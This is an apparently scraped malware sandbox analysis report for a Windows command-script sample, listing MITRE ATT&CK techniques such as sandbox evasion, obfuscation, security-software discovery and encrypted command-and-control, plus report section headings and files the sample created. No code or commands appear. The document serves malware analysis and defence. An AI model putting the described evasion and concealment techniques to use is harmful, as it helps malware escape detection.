Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZtefPP1HI7.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndwij5o4.gvl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnxf5gxa.tuk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1xhi5dg.kpv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3jcahg5.kk3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4remje3.sw3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xltgndgt.z2e.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yufkvzzs.cpo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zjo22bxe.ccp.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

File Icon

Windows Analysis Report
ZtefPP1HI7.cmd